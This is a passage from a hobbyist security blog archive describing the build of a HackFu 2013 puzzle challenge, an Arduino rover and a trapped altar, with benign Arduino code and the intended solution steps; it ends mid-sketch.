Archive for the Packet Challenge Category

HackFu 2013 challenge teardown – Part Two

Posted in Crazy Plans, Packet Challenge on 24 September, 2013 by Alec Waters

Part One of this post is here; this time I’m going to talk about TempEx and its controller:

rover-final

I for one welcome our new robot overlords

wirelesscontroller

TempEx One! You muussst obeeeeeeyyyyy me!

Parts list

From the point of view of the challenge, TempEx is mostly chrome, but we all know that this is the element upon which all coolness is built and we should seek it out with ruthless determination. The core of TempEx is a DFRobotShop rover which is basically a stretched Arduino UNO with tracks and motors. The tracks, wheels and gearboxes are all standard Tamiya model parts, with custom brackets holding the whole lot to the mainboard. It’s a pretty nifty bit of kit, but it needs a bit more than the basic kit to be truly useful.

Firstly, it needs a bit more payload space; this is easily catered for with the expansion plate which sits above the mainboard on standoffs. This gives you considerably more space to work with:

expansionplate

There are plenty of cut outs that you can use to mount equipment, including holes specifically for mounting servos. In terms of payload, TempEx needed to carry an infra-red camera and a rangefinder on a steerable mount like this one from Dagu. Controlling servos with an Arduino is pretty straightforward in concept although surprisingly challenging to execute in an elegant fashion, but we’ll get on to that a bit later on.

The rangefinder is an HC-SR04, which can be had on eBay for a couple of pounds. It’s easy to use (even easier with a decent library) and pretty accurate for the price, although you need to get a good return “bounce” to get a reading – if you’re facing a surface at 45 degrees to the sensor you’re not likely to get a return at all.

I scored a cheap 900Mhz IR camera on eBay:

wirelesscam

The camera can be driven from a 9v battery which gets drained pretty quickly, even more so when it’s dark and all the IR LEDs are turned on. To get around this I used lithium ones which when I tested them gave over five hours of service with no degradation in picture or signal, easily long enough to last through each team’s attempt at the challenge.

At this point, we’ve got enough gear to build a rover that you can drive around tethered via USB – not entirely practical. Two choices for wireless control are Bluetooth and ZigBee/XBee. I wanted to have a controller that worked without a PC so I went for the XBee option because it came with two radios, one for the rover and one to put in the controller.

Conceptually, control of the rover is straightforward. The ‘wasd’ sample is a useful base, reading a character from the serial port and operating the two motors accordingly:

int E1 = 6; //M1 Speed Control
int E2 = 5; //M2 Speed Control
int M1 = 8; //M1 Direction Control
int M2 = 7; //M2 Direction Control

void setup(void)
{
  int i;
  for(i=5;i<=8;i++)
  pinMode(i, OUTPUT);
  Serial.begin(9600);
  Serial.println("setup");
}

void loop(void)
{
  while (Serial.available() < 1) {} // Wait until a character is received
  char val = Serial.read();
  int leftspeed = 120; //255 is maximum speed
  int rightspeed = 120;
  switch(val) // Perform an action depending on the command
  {
    case 'w'://Move Forward
    case 'W':
      forward (leftspeed,rightspeed);
      break;
    case 's'://Move Backwards
    case 'S':
      reverse (leftspeed,rightspeed);
      break;
    case 'a'://Turn Left
    case 'A':
      left (leftspeed,rightspeed);
      break;
    case 'd'://Turn Right
    case 'D':
      right (leftspeed,rightspeed);
      break;
    default:
      stop();
      break;
  }
}

void stop(void) //Stop
{
  digitalWrite(E1,LOW);
  digitalWrite(E2,LOW);
  Serial.println("stop");
}

void forward(char a,char b)
{
  analogWrite (E1,a);
  digitalWrite(M1,LOW);
  analogWrite (E2,b);
  digitalWrite(M2,LOW);
  Serial.println("forward");
}

void reverse (char a,char b)
{
  analogWrite (E1,a);
  digitalWrite(M1,HIGH);
  analogWrite (E2,b);
  digitalWrite(M2,HIGH);
  Serial.println("reverse");
}

void left (char a,char b)
{
  analogWrite (E1,a);
  digitalWrite(M1,HIGH);
  analogWrite (E2,b);
  digitalWrite(M2,LOW);
  Serial.println("left");
}

void right (char a,char b)
{
  analogWrite (E1,a);
  digitalWrite(M1,LOW);
  analogWrite (E2,b);
  digitalWrite(M2,HIGH);
  Serial.println("right");
}

I ended up with a nine-way control of q/w/e, a/s/d, and z/x/c using ‘s’ for stop and q, e, z, and c for large-radius turns running one track at full speed and the other somewhat slower. a and d were for zero-radius turns where the rover spins on the spot.

Moving from a USB tether to wireless via XBee was straightforward. Out of the box the XBee radios act as a kind of cable replacement – whatever one transmits the other receives. Leaving aside the security implications of this default config (and the hacker-rich environment in which TempEx had to operate) moving away from the tether starts by using the XBee to serial board that comes with the rover kit.

dfrobot-xbee-usb-adapter-v2

This appears to a PC as a serial port so you can just attach a terminal app to it and enter characters just like you would in the Arduino serial monitor window. The final step is to ditch the USB port altogether and use the serial TX/RX lines with a second Arduino, again just sending single characters for the rover to interpret.

There were a couple of gotchas along the way. Firstly, the rover would occasionally throw a track when turning, something that could be seen as a result of the sprocket wheels slowly moving outwards on their axles. I was a bit reluctant to glue these in place, but fortunately no tracks were shed during HackFu.

Secondly, I had trouble with power brownouts, especially when doing something like going from full forwards to full reverse. I made three changes to cater for this:

  • Moar axle grease! A tube of this comes with the gearbox for a very good reason.
  • I switched from using the 3.7v LiPo battery to the 4xAA holder. Using rechargeable NiMh AAs gave a voltage of between 5 and 6 volts, about double the nominal voltage of the included motors. The rover went like a rocket with the AAs driving these, but at a cost. Adam Borrell has done some testing with motors like these running under over-voltage conditions. I’m glad I read this before HackFu because the brushes can wear out in a matter of hours – after all of the development hours TempEx had on the clock there was a distinct possibility that the motors would fail during the event. I replaced the 3v motors with 6v ones, and made sure I had spares on the day.
  • Finally, I re-wrote the code to be a little kinder on the drivetrain. Instead of slamming the motors from zero to max revolutions in one hit, I gently ramped the RPMs up so that it took about half a second to get to top speed.

Operating the pan/tilt rig was done in a similar way to the motors, using r/t/y, f/g/h and v/b/n, with t being down, f for left, r for down/left etc. g centred the rig forwards. Similar “kind” code was written for the servos – if slamming a motor from zero to max is unkind, doing the same with a servo is plain brutal! With the mass of the camera to shift as well as the rig itself, it’s important that the servo take its time to reach the desired rotation. For each pass through the Arduino’s loop() the servo would ask “have I rotated far enough yet?” and if not it shifted another couple of degrees towards the goal.

Here is some sample code that moves a servo “kindly” under the command of a Wii Nunchuk to illustrate:

#include <Servo.h> 
#include <Wire.h>
#include <ArduinoNunchuk.h>

#define BAUDRATE 19200

ArduinoNunchuk nunchuk = ArduinoNunchuk();
Servo myservo;  // create servo object to control a servo 
 
int potpin = 0;  // analog pin used to connect the potentiometer
int val;    // variable to read the value from the nunchuck
int servopos; // where the servo is
int threshold = 8; // trigger for movement

void setup()
{
  ///////////////////
  // SERIAL
  Serial.begin(BAUDRATE);
  ///////////////////
  
  ///////////////////
  // NUNCHUK
  nunchuk.init();
  nunchuk.update();
  servopos = map(nunchuk.analogX, 25, 221, 0, 179);     // Get initial value
  ///////////////////
  
  ///////////////////
  // SERVO
  myservo.attach(9);
  myservo.write(servopos);  // initialise position
  ///////////////////  
}
 
 
void loop() 
{ 
  nunchuk.update();

  val = map(nunchuk.analogX, 25, 221, 0, 179);     // scale it to use it with the servo (value between 0 and 180) 


  Serial.print(nunchuk.analogX, DEC);
  Serial.print(' ');
  Serial.print(val);
  Serial.print(' ');
  Serial.print(servopos);
  Serial.print(' ');  

  if( ( servopos < val ) && ( val - servopos > threshold ) )
  {
    // Moving to the right
    servopos += int( threshold / 2 );
    Serial.println('R');
  }
  else if( ( servopos > val ) && ( servopos - val > threshold )  )
  {
    // Moving to the left
    servopos -= int( threshold / 2 );
    Serial.println('L');
  }
  else
  {
    // Not moving!
    Serial.println("STOP");    
  }
  
  if( servopos < 0 )
    servopos = 0;
  else if (servopos > 179 )
    servopos = 179;
    
  myservo.write(servopos);                  // sets the servo position according to the scaled value 
  delay(10);                           // waits for the servo to get there 
} 

It just goes to show, it ain’t what you do, it’s the way that you do it:

Moving swiftly on…

…to the controller. There are four bits to this:

  • An Arduino Uno
  • An XBee radio sitting on the aforementioned USB adapter hooked up to the Arduino’s serial port
  • A pair of two-axis potentiometers, one for controlling the rover and one for steering the pan/tilt rig
  • A Nootropic Design Video Experimenter board, a bundle of awesome if ever there was one. The output of the camera receiver plugs into the video input, with a TV on the video out

The whole lot fit quite nicely into an OKW enclosure that I had left over from the now-defunct PierToPier.net WiFi project (a fully-routed mesh wireless network on Brighton beach for public use – ten years ago!).

The mode of operation is as follows:

  • Read the x and y values from the two sticks and convert them to the wasd-style character
  • Send the character to TempEx by printing it to the serial port, which sends it to the XBee, which sends it to the other XBee on TempEx where the rover’s code takes over
  • TempEx acts on the received character and takes a reading from the rangefinder. This is sent back to the controller via the XBees
  • Back on the controller, read the range from the serial port and use the Video Experimenter board to overlay it on the TV feed from the camera
  • Repeat :)

Step one was an interesting coding challenge – converting a pair of 0-to-255 values to a quadrant in a 3×3 grid in an elegant and efficient manner. I don’t want to blab my method here because I want to use it as a teaching case in the Arduino workshops I’ll be running soon. If you want a hint, contact me via Twitter and I’ll give you a nudge in the right direction.

The VE board displayed a bit more than just the range – I wanted it to look a bit like a heads up display in a military aircraft:

Tower, this is Ghostrider requesting a flyby

The Pan/Tilt markers have indicators that show in which direction you’re steering the camera, the L/R indicator shows which direction the two tracks are moving in, the range is at the bottom, comm errors are shown at the top, and the targeting reticle in the middle is there to make you feel extra-menacing. Here’s a less-than-clear shot of it in action at HackFu:

TempExHUD2

The VE’s overlay was a little light but perfectly legible despite what the picture above looks like. I found that by feeding the camera receiver into a VCR and attaching the VCR to the VE board produced better results, showing that the problem is more likely the output of the camera transmitter rather than the VE board.

I wanted to cater for the case where comms with TempEx were interrupted due to interference or excessive range, so in an attempt to implement reliable control the following steps were taken:

  • If neither joystick is deflected from its home position the controller continually sends ‘s’ (stop) to TempEx. If the controller gets a range in return it knows that TempEx is still there. If we don’t get anything back for two seconds, display NO COMM on the HUD to let the user know.
  • When a joystick is moved, continually send the indicated character to TempEx. This means that, moving or not, TempEx is expecting to receive something from the controller all the time. If TempEx doesn’t hear anything for two seconds it will stop both tracks and centre the pan/tilt rig.

This means that you can never have the case where TempEx runs off out of control if the wireless comm breaks down (it doesn’t stop teams from hitting obstacles at oblique angles and tipping TempEx over, but that’s another story!)

So there you have it, TempEx and its controller. I had a ton of fun putting the challenge together, and I think people had fun playing it. As I’ve said, HackFu is beyond awesome – keep your ear to the ground sometime next Spring here, here and here for a chance to win a ticket for HackFu 2014. Maybe see you there!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

HackFu 2013 challenge teardown – Part One

Posted in Crazy Plans, Packet Challenge on 9 July, 2013 by Alec Waters

Words have not yet been invented to describe the utter awesomeness of HackFu. Run by MWR Infosecurity, it’s two extremely intense days of team-based hacking, puzzling and pwning, tackled by meanshackfu of skill, luck and sometimes even outright cash bribery (Facebook photo albums here and here). Many thanks to the RAF Air Defence Radar Museum for providing the venue – it’s a great place to visit, go check it out!.

As with last year, I supplied a challenge for the event. I’m going to document it here, because it was a little, errm, “different”, and I learned an awful lot whilst I was screwing it together. HackFu is all about learning stuff, and there’s no point in learning without sharing the knowledge, right?

tl;dr

Booby trapped Aztec temple. Violent kinetic defences. Golden Idols for the taking. Robots with night vision and sonar. Four distinct forms of wireless comms.

Enter the Maze…

All HackFu events are themed, and this year’s theme was The Crystal Maze. My challenge was for the Aztec zone, and had quite a straightforward aim – retrieve the Golden Idol from the altar in the temple and discover its full name. It’s not going to be as easy as walking in there and picking it up – as this journal entry shows, we could be entering a high-threat environment. How to minimise the risk? In “The Phantom Menace,” Rune Haako was faced with a similar situation: “Are you brain-dead? I’m not going in dere with two Jedi. Send a droid.”

Send a droid, you say? Enter TempEx One, the remotely operated temple explorer:

rover-finalTempEx allows the players to reconnoitre the temple, detect traps, discover clues, and ultimately permits them to formulate a plan to safely enter and retrieve the Golden Idol from the altar. TempEx is equipped with an ultrasonic range finder and a wireless infra-red camera, both mounted on a steerable pan/tilt mount.

TempEx is remotely controlled by means of a two-stick controller, shown here with its lid off:

wirelesscontrollerThe left stick drives TempEx; the right one operates the pan/tilt rig. The camera receiver is shown in the background, and its output is pumped through a TV overlay board. This means I can draw a nice heads-up-display over the camera feed that shows command inputs from the sticks, telemetry received from TempEx, and a cool targeting reticle to make the user feel extra-menacing. With the lid on, only the sticks poke out:

controllersmallAnd the altar? It’s equipped with:

  • A light sensor – keep it dark in there, or face the consequences!
  • A pressure pad – remember what happened to Indy when he tried to swipe the Idol in Raiders of the Lost Ark!
  • Tripwires – careful where you step!
  • Active defences – eye protection mandatory!

Finally, we have the gameplay element of the challenge. It’s got to be fun, it’s got to be do-able, it’s got to have scoring in order to rank the teams, and it has to involve some hacking (otherwise the event would just be called “Fu”)

Hopefully…

…I’m keeping your attention. I built and coded all of the hardware above, and I’m going to document it one piece at a time. It’s a journey of discovery in which I struggle to remember which end of a soldering iron to hold and am forced to deploy several “Plan B’s” in pursuit of realising my ideas.

The Altar

The altar is basically an Arduino Mega 2560 mounted inside an appropriately decorated biscuit tub with one of my kids’ toys on top to give the Golden Idol somewhere to sit. It’s a pretty squat assembly, but from TempEx’s point of view seven or eight inches off the ground it looks pretty tall, especially with the idol sat on the top:

altar

The Golden Idol is definitely made of gold, honest:

goldenidol

I’d never touched an Arduino before embarking on this challenge, but when you take a look at the ingredients in an Arduino Boffin Kit things like tripwires and light sensors suddenly don’t seem impossible to implement. Books like Beginning Arduino confirm the suspicion – it’s all possible, and even relatively straightforward.

For the hardware side of the Altar, I wanted four tripwires, some kind of pressure pad, and a light sensor. I also wanted to have some kind of visual indication that the pressure pad was being read, so that people could time some kind of Indy-style switchout, taking the Golden Idol and replacing it with something else. The idea was that players would start with a given points score which would be deducted from when they trip the traps. Tripping the light sensor and pressure pad were considered major sins when compared to tripping the wires – I wanted to guard against people just turning on the lights and swiping the Idol without “playing the game”.

Let’s start with the tripwires. They’re basically switches, and that’s what I used for my first prototype. From the Arduino’s perspective, they were normally-open switches attached to digital pins configured as INPUT_PULLUP – this means that they will read high until they are dragged low, in this case by my switches being closed.

The pressure pad and light sensor were implemented as a force-sensitive resistor and a light-dependant resistor. Both were configured in series with a fixed-value resistor, forming a voltage divider. This means that by attaching the voltage divider’s Vout to an Arduino analogue pin I can determine “how much weight is on the pad” and “how light it is in the room”.

The first prototype for the Altar looked like this, built in the traditional fashion on breadboard with jumper wires:

altarprototypemarkedupThe light-dependant resistor is highlighted blue; red shows two switches pretending to be tripwires (there were four in the final version), green is the force sensitive resistor and cyan shows an LED that flashes when the FSR is being read. The LED highlighted white was used as a debugging aid to show me when all the traps were tripped. The Arduino sketch for all of this was reasonably straightforward (final version is shown later on).

Great! It’s the Altar done! Check it off the list!

Orrrrr, not. What we have here is strictly a prototype, knocked up over the course of an evening. This isn’t a deployable solution – we’ve got to “make” something, based upon the breadboarded proof of concept.

The tripwires were the easiest bit. On the breadboard above, the switches were normally-open (causing the INPUT_PULLUP pins to read high) until they were closed (causing the pin to read low). To replicate this, I took some clothespegs and drilled holes in the pads and ran wires through them:

tripwire-closeThe idea is that when the peg closes the two wires touch, making the circuit and pulling the Arduino pin low. To (perhaps unnecessarily) aid conduction, I wrapped the ends in foil, resulting in this:

tripwiresOK, now we’ve replicated the switches on the breadboard. How to make these into practical tripwires? To keep the pegs “open”, I used strips of plastic cut from a drinks bottle. Next, I tied some fishing line to the strip and anchored the other end to a fixed point. The net result is a working tripwire – if you knock the fishing line, you’ll pull the plastic strip out of the peg, which will make the circuit and cause the Arduino pin to read low, telling it that the wire has been tripped. Boom!

The FSR, LDR and flashing LED were a slightly different proposition – I had to get out the soldering iron and fabricate a circuit on stripboard. I wanted to take a modular approach, so I soldered some stackable pin headers onto the stripboard so that I could run removable wires from it back to the Arduino. More stackable headers were used as “sockets” for the tripwires. The finished stripboard is the rectangular affair that can be seen standing proud of the rim of the Altar in the picture below:

altarprototype4I mounted the Arduino in a case I had lying around; the case was eventually mounted in the decorated biscuit tub that you can see sitting under the Altar in the first picture of it above.

I have got an LCD display attached to the Arduino, from a dirt-cheap “lucky bag” from Maplin. This was originally intended to be part of the challenge, showing several lines of clues for the players. I got caught up in the fun of hooking up the display and I had it all working nicely before I realised the obvious – TempEx’s camera is an active IR one. This means that it has an IR-sensitive camera surrounded by a ring of IR LEDs – basically infra-red torches. This means that, when viewed on the camera, the LCD display is completely obscured by the reflection of the IR LEDs and you can’t read a single thing on it… Cue Plan ‘B’, which involves having the clues on a piece of paper hidden somewhere in the temple. Crude and low tech, but gets the job done!

We’re nearly there with the Altar. It can detect intrusions with all its various sensors – all it needs to be able to do is ward people off. My eldest son was suggesting things we could do when the traps were tripped, and his least lethal suggestion was to shoot them with a Nerf gun. Fortunately, MWR have a Nerf Vulcan in the corporate toybox – all I had to do was hook it up.

I wasn’t keen on destructively modding the Vulcan. Instead, I put a strip of plastic in the battery compartment between one of the spring terminals and the adjacent battery, with long wires snaking out of the compartment from each side of the strip. By turning on the Vulcan’s power and taping the trigger shut it can now be fired by touching the ends of the wires together. Satisfied that it’s working like this, we can put the ends of the wires into a relay that we can control from the Arduino – at this point, we have an Arduino-controlled Nerf gun, which is extremely cool in itself. I used a convenient relay board for this, having the relay energise for two seconds when one of the tripwires was pulled – this was sufficient to unleash a volley of about 6-7 darts.

relayboard

As interesting as the Altar hopefully is, it doesn’t pose much of a hacking challenge – something else is needed. Time to put the soldering iron away and think about the “gameplay” element of things.

The idea was that the altar would have a “remote management” interface which, when discovered and activated, would allow players to:

  • See the status of the traps
  • Decrease the polling interval of the FSR (to make it physically possible to swap the golden idol for a stone one)
  • Increase the trip threshold of the light sensor (so that you can send someone in with a glowstick so they can see where they’re going).

The altar management interface was implemented as a simple set of web pages on a small PC attached to the Arduino in the altar via USB. Communication was by means of a simple serial protocol over the emulated serial port that appears when you connect the two together (/dev/ttyACM0 in my case).

Here’s where a slight oddity of the Arduino platform threw a spanner in the works. By default, when you open a serial port the DTR line goes low for a short period of time. This “DTR waggle” is seen by the Arduino, which then performs an auto-reset (reboot) and starts running the sketch from scratch. This is somewhat problematic if you’re trying to keep track of someone’s score!

There’s a page on the Arduino site devoted to disabling this feature. I wasn’t keen on physically altering my Mega, nor could I make any of the software solutions work. I found another solution here – by executing “tail -f /dev/ttyACM0″ on the PC, the serial connection is kept open and my scripts could talk to the Arduino without resetting it.

So now the traps are set, the remote management interface is deployed, and the Altar can be controlled via a PC. Here is how the challenge was intended to be played:

  1. From the safety of a room outside the temple, read the journal entry and TempEx manual.
  2. Cautiously open the door to the darkened temple. This will trip the tripwire controlling the Vulcan, causing the player to get a bunch of Nerf darts in the head. Aside from being for the amusement of the challenge creator, this step is designed to put players on edge and make them more cautious than they need to be. But mostly it was for the amusement of the challenge creator.
  3. Send in TempEx and have a look around. Things it will see include the Golden Idol sitting on the Altar at the far end of the room (with a light that’s flashing really fast), the tripwires, a stone Idol, and if you look hard enough, some clues written on the wall (these were the clues that I intended to show on the LCD).
  4. The clues list some “control codes” to turn “remote management” on and off. There is also the statement that something is “listening on: xx:xx:xx:xx:xx:x”.
  5. The xx:xx.. thing looks a bit like a MAC address, but it’s not – it’s one nybble short in the last byte. It’s actually a phone number, and you can turn remote management on and off by sending the command codes to it via SMS. The codes are received by a GPRS modem (below) attached to the PC, and are parsed by a script run by gsmsmsd.
    gprsmodemThe script checks the content of the message, and will communicate with the Arduino if an appropriate message is present. A response message is then sent to the sender informing them of the result. I implemented a couple of commands for my own purposes, including retrieving the current trap status and score, and resetting all the trap statuses.
  6. If remote management has been turned on, the player receives the following message: “Probing for – 4zt3c : Listening on – 192.168.99.100:80 – Access Token – Sallah : Password – Kobayashii”. Oddly enough, gsmsmsd seemed to duplicate the last character when sending the reply, hence the two i’s when only one is in the script.
  7. Hopefully, the word “probing” will make the players think of wifi and set up an access point serving up an SSID of “4zt3c” (hostapd or airbase-ng could be used for this).
  8. Once the Altar has connected to your wireless network, we dutifully connect a web browser to http://192.168.99.100, as directed by the SMS. A login screen appears:
  9. management…but the supplied Access Token and Password don’t work. Whoops. Investigation of the page source shows some client-side validation JavaScript that attempts to prevent the use of several characters including <, > and ‘
  10. Knowing that most of the players will be skilled pentesters, I was hoping that they would see this as a potential indicator of a SQL Injection vulnerability. Sure enough, bypassing the JavaScript and supplying values with single quotes in them causes a MySQL error to be displayed…
  11. …but there isn’t a MySQL database, let alone a SQLi hole. The entire site is fake, designed to make people waste their time. Nothing you can enter into the form will log you in, because there’s nothing to log in to. Deception is a completely valid defensive technique!
  12. Examination of the HTTP host headers sent by the server shows that there’s one called “nazcaTrail” whose value is “clupea_harengus_russus_0120-bona_fide_0177322″. “Clupea Harengus Russus” roughly translates as “red herring”, and 0120 is 80 in Octal. The message I was trying to send was that the red herring is on port 80, and the “bona fide” site is on port 65234 (decimal representation of the octal 0177322).
  13. Finally, we have a site we can log in to at http://192.168.99.100:65234. Sure enough, it shows the state of all the traps and offers a facility to tweak the pressure pad polling interval and light sensor trip threshold. There is also a schematic of the altar showing how it all hangs together.
  14. After tweaking the pad’s polling interval, TempEx’s camera will show the Altar’s light flashing much more slowly. A brave adventurer will go in, pick up the stone idol, negotiate the tripwires, and will attempt to swap the stone idol for the golden one on the Altar in between light flashes. Except they can’t see the flashes because the LED is an infra-red one, and can only be seen on TempEx’s camera feed. To solve this problem some teams resorted to banging on the wall, others installed metronome apps on their phones and synced them up to the flashing of the LED.
  15. However they approached the LED problem, eventually the adventurer would emerge from the temple clutching the golden idol. Underneath the idol was written its name – the answer to the challenge! But…
  16. …the challenge asks for the idol’s full  name. Closer examination of the remote management website shows that the idol is running at 13.56MHz, which is an RFID frequency. Scanning the idol with an NFC-capable phone will tell you the idol’s surname.

Job done! Another successful quest for the Man In The Hat!

Here’s the Arduino sketch running the altar. I’m using the Metro library as a pseudo-timer to control the FSR polling interval and the update frequency of the (redundant) LCD display:

// Pseudo-timer library
#include <Metro.h>

// LCD driver code
#include <LiquidCrystal.h>

// RW,EN,RS on the LCD
int lcdRW = 42;
int lcdEN = 45;
int lcdRS = 44;

// The LEDs on the LCD
int lcdLED1 = 43;
int lcdLED2 = 40;

// The button on the LCD
int lcdButton = 35;

// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(lcdRS, lcdRW, lcdEN, 48, 49, 46, 47);

// LDR to ensure darkness in the room
int LDR = 0;
int ldrLowThreshold = 200;
int ldrHighThreshold = 590;
int LDRThreshold = ldrLowThreshold;
bool ldrIsThresholdLow = true;

// FSR to check for presence of Golden Idol
int FSR = 1;
int FSRThreshold = 600;

// Tripwires - normally open, read high when untripped
#define numTripWires 4
int tripWireOne = 12;
int tripWireTwo = 11;
int tripWireThree = 6;
int tripWireFour = 7;

// Relay board - Nerf gun is attached to this
int relay = 8;

// Lights up when you trip all the traps
int alarmIndicator = lcdLED2;

// Lights up when the FSR is being polled
int fsrIndicator = 10;

// Polling speeds in milliseconds
int fsrFastPoll = 100;
int fsrSlowPoll = 1000;
Metro fsrMetro = Metro(fsrFastPoll);
bool fsrFastPolling = true;

// Health counter - your "score", deducted from when you trip traps
int health = 1400;

// Sensor penalties and tripped flags
int LDRPenalty = 300;
bool LDRTripped = false;
int FSRPenalty = 300;
bool FSRTripped = false;
int tripWirePenalty[numTripWires] = { 200, 200, 200, 200 };
bool tripWireTripped[numTripWires] = { false, false, false, false };
int tripWirePins[numTripWires]	= { tripWireOne, tripWireTwo, tripWireThree, tripWireFour };

// Display modes
const int dispModeListeningOnText = 0;
const int dispModeListeningOnValue = 1;
const int dispModeControlCodeOneText = 2;
const int dispModeControlCodeOne = 3;
const int dispModeControlCodeTwoText = 4;
const int dispModeControlCodeTwo = 5;
const int dispModeRemote = 6;
const int dispModeProbingFor = 7;
// How many modes?
const int dispModesRemoteOff = 7;
const int dispModesRemoteOn = 8;
int numModesActive = dispModesRemoteOff;

// Set inital display mode
int dispMode = dispModeListeningOnText;

// Set pseudoTimer for display
Metro dispMetro = Metro(2000);

// Holds data received on serial port
String serialInput = "";
// Is the message complete, terminated by # ?
bool serialInputMessageComplete = false;	

// Is remote management on on the PC?
bool remoteManagementActive = false;

// Phone number to listen on
String listeningOn = "07:xx:xx:xx:xx:x";

void setup()
{
	// Set up serial port for debugging
	Serial.begin(9600);

	// reserve 200 bytes for serialInput:
	serialInput.reserve(200);
	
	// Set up pinmodes
	pinMode( alarmIndicator, OUTPUT );
	pinMode( fsrIndicator, OUTPUT );	
	pinMode( lcdLED1, OUTPUT );
	pinMode( lcdLED2, OUTPUT );	
	pinMode( lcdButton, INPUT );		
	for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
		pinMode( tripWirePins[tripWire], INPUT_PULLUP );	
	pinMode( LDR, INPUT );
	pinMode( FSR, INPUT );
	pinMode( relay, OUTPUT );		

	// Turn off alarmIndicator and fsrIndicator
	digitalWrite( alarmIndicator, LOW );
	digitalWrite( fsrIndicator, LOW );	

	// Turn off the LEDs on the LCD
	digitalWrite( lcdLED1, LOW );	
	digitalWrite( lcdLED2, LOW );	 
	
	// set up the LCD's number of columns and rows: 
	lcd.begin(16, 2);
	
	// Turn off relay
	digitalWrite( relay, LOW );
}

void loop()
{ 
	checkLCDButton();
	health -= checkLDR();
	health -= checkFSR();
	health -= checkTripwires();
	if( health <= 0 )
		digitalWrite( alarmIndicator, HIGH );

	updateDisplay(); 
	
	if( serialInputMessageComplete )
		processSerialInput( serialInput );
}

///////////////////////////////////////////////////////////////
// Updates the LCD
///////////////////////////////////////////////////////////////
void updateDisplay()
{
	if( dispMetro.check() == 1 )
	{	
		switch( dispMode )
		{
			case dispModeListeningOnText:
				lcd.clear();
				lcd.print( "Listening on:" );						
				break;
			case dispModeListeningOnValue:
				lcd.clear();
				lcd.print( listeningOn );									
				break;
			case dispModeControlCodeOneText:
				lcd.clear();
				lcd.print( "Control code 1:" );									
				break;
			case dispModeControlCodeOne:
				lcd.clear();
				lcd.print( "QZ = rmtmgmt on" );												
				break;
			case dispModeControlCodeTwoText:
				lcd.clear();
				lcd.print( "Control code 2:" );												
				break;
			case dispModeControlCodeTwo:
				lcd.clear();
				lcd.print( "JV = rmtmgmt off" );															
				break;
			case dispModeRemote:
				lcd.clear();
				lcd.print( "Remote mgmt: " );			
				lcd.setCursor( 13, 0 );
				lcd.print( remoteManagementActive ? "Y" : "N" );				
				break;
			case dispModeProbingFor:
				lcd.clear();
				lcd.print( "Probe for: 4zt3c" );						
				break;
			default:
				dispMode = 0;
		}
		
		// Cycle display
		if( ++dispMode >= numModesActive )
			dispMode = 0;
	}
}

///////////////////////////////////////////////////////////////
// Checks the LDR against the threshold
// Returns penalty
///////////////////////////////////////////////////////////////
int checkLDR()
{	
	int penalty = 0;
	
	if( !LDRTripped )
	{
		// Read LDR
		int val = analogRead( LDR );
 
		if( val > LDRThreshold )
		{
			penalty += LDRPenalty;
			LDRTripped = true;
		}
	}

	return( penalty );
}

///////////////////////////////////////////////////////////////
// Checks all tripwires
// Returns accumulated penalty
///////////////////////////////////////////////////////////////
int checkTripwires()
{
	int penalty = 0;

	for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
	{
		if( !tripWireTripped[tripWire] )
		{
			if( digitalRead( tripWirePins[tripWire] ) == LOW )
			{
				penalty += tripWirePenalty[tripWire];
				tripWireTripped[tripWire] = true;
				
				if( tripWire == 3 )
				{
					// Fire the Nerf gun! Ahahahhahahaaaaaa!
					digitalWrite( relay, HIGH );		
					delay( 2000 );
					// Cease fire!
					digitalWrite( relay, LOW );
				}
			}
		}
	}

	return( penalty );
}

///////////////////////////////////////////////////////////////
// Checks the FSR
// Returns penalty
///////////////////////////////////////////////////////////////
int checkFSR()
{	
	int penalty = 0;
	
	if( fsrMetro.check() == 1 )
	{	
		// Turn on LED
		digitalWrite( fsrIndicator, HIGH );			
	
		if( !FSRTripped )
		{
			// Read FSR
			int val = analogRead( FSR );
			
			if( val < FSRThreshold )
			{
				penalty += FSRPenalty;
				FSRTripped = true;
			}
		}
	
		// Delay to blip the LED
		delay( 10 );
		// Turn LED off
		digitalWrite( fsrIndicator, LOW );			
	}
	
	return( penalty );
}

///////////////////////////////////////////////////////////////
// Checks status of button
// Resets sensors when pressed
///////////////////////////////////////////////////////////////
void checkLCDButton()
{
	if( digitalRead( lcdButton ) == HIGH )
	{
		resetTraps();
		digitalWrite( lcdLED1, HIGH );	
	}
	else
		digitalWrite( lcdLED1, LOW );	 
}

///////////////////////////////////////////////////////////////
// Resets everything for the next team!
///////////////////////////////////////////////////////////////
void resetTraps()
{
		// Reset health
		health = 1400;
		FSRTripped = false;
		fsrMetro.interval( fsrFastPoll );
		fsrFastPolling = true;				
		for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
			tripWireTripped[tripWire] = false;
		LDRTripped = false;
		LDRThreshold = ldrLowThreshold;
		ldrIsThresholdLow = true;	
		numModesActive = dispModesRemoteOff;
		remoteManagementActive = false;		
		digitalWrite( lcdLED2, LOW );	 
}	

///////////////////////////////////////////////////////////////
// SerialEvent occurs whenever a new data comes in the
// hardware serial RX.	This routine is run between each
// time loop() runs, so using delay inside loop can delay
// response.	Multiple bytes of data may be available.
///////////////////////////////////////////////////////////////
void serialEvent() 
{
	while( Serial.available() ) 
	{
		// get the new byte:
		char inChar = (char)Serial.read(); 
		// add it to the inputString:
		serialInput += inChar;
		// if the incoming character is a #, set a flag
		// so the main loop can do something about it:
		if (inChar == '#') 
			serialInputMessageComplete = true;
	}
}

///////////////////////////////////////////////////////////////
// Processes input from the PC
///////////////////////////////////////////////////////////////
void processSerialInput( String message )
{
	if( message.startsWith( "STATUS" ) )		// Return sensor status
	{
		Serial.print( "STATUS FSR " );
		Serial.print( FSRTripped ? "T " : "N " );
		Serial.print( fsrFastPolling ? "F" : "S" );
		Serial.print( " LDR " );
		Serial.print( LDRTripped ? "T " : "N " );		
		Serial.print( ldrIsThresholdLow ? "L" : "H" );
		for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
		{
			Serial.print( " TRIP " );
			Serial.print( tripWire + 1 );				
			Serial.print( tripWireTripped[tripWire] ? " T" : " N" );
		}
		Serial.print( " RMGMT " );
		Serial.print( remoteManagementActive ? "Y" : "N" );
		Serial.print( " HLTH " );
		Serial.print( health );
		Serial.print( "#" );
	}
	else if( message.startsWith( "LDRLOW" ) )	// Adjust LDR
	{
		LDRThreshold = ldrLowThreshold;
